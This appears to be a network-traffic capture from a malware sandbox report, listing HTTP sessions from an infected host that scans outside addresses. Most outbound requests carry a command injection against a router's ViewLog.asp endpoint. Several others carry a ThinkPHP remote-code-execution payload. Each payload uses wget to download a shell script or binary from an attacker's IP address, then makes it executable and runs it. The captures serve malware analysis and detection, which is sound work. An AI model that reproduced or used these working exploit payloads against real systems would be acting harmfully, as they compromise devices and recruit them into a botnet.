Mar 4, 2024 15:07:27.607000113 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.750921011 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:45.782983065 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:11.126853943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:00.278788090 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	59152	94.123.140.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.623379946 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	41202	31.208.22.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.799328089 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.017669916 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Mon, 04 Mar 2024 14:07:23 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	40718	94.121.190.144	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.820713043 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	42488	94.121.200.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.820883989 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	43326	88.198.212.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.823396921 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:24.996155977 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Mar 2024 14:07:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	52598	88.198.106.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.825679064 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:25.000416994 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 04 Mar 2024 14:07:24 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	55642	94.122.230.171	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.831564903 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	39412	88.81.88.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.844472885 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:25.030050993 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 19 Aug 2021 01:23:22 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	36208	94.131.59.56	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.874255896 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:24.978517056 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:07:24 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3574 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	55986	31.136.249.159	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.963268042 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.527060032 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.615314007 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:28.886941910 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.238955021 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:41.942996025 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:00.886920929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
